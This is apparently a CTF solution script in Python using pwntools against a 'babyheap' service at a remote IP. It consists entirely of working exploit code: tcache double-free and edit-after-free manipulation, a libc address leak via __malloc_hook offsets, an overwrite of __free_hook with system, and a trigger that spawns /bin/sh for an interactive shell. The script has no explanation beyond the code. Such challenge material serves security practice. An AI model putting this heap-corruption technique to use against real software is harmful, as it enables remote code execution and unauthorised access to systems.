1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70
| from pwn import *
context.log_level = "debug" libc = ELF("./libc.so.6_babyheap")
io = remote("52.152.231.198", 8081)
def add(idx, size): io.sendlineafter(">> ", '1') io.sendlineafter("input index", str(idx)) io.sendlineafter("input size", str(size))
def delete(idx): io.sendlineafter(">> ", '2') io.sendlineafter("input index", str(idx))
def edit(idx, content): io.sendlineafter(">> ", '3') io.sendlineafter("input index", str(idx)) io.sendafter("input content", content)
def show(idx): io.sendlineafter(">> ", '4') io.sendlineafter("input index\n", str(idx))
def add_name(name): io.sendlineafter(">> ", '5') io.sendafter("your name:", name)
def show_name(): io.sendlineafter(">> ", '6')
add(0, 0x60) delete(0) for i in range(7): edit(0, "AAA") delete(0)
add(1, 0x58) delete(1) for i in range(7): edit(1, "BBB") delete(1)
add(2, 0x18) add_name("jkilopu") show(0) libc.address = u64(io.recvuntil('\n', drop=True).ljust(8, b'\x00')) - 288 - 0x10 - libc.symbols["__malloc_hook"] print("libc address = " + hex(libc.address))
add(3, 0x18) add(3, 0x18) delete(3) free_hook_addr = libc.symbols["__free_hook"] edit(0, b'C' * (0x18 - 0x8) + p64(0x18) + p64(free_hook_addr - 0x8))
system_addr = libc.symbols["system"] add(4, 0x18) add(4, 0x18) edit(4, p64(system_addr))
edit(0, b'D' * (0x18 - 0x8) + p64(0x18) + b"/bin/sh\x00") delete(3)
io.interactive()
|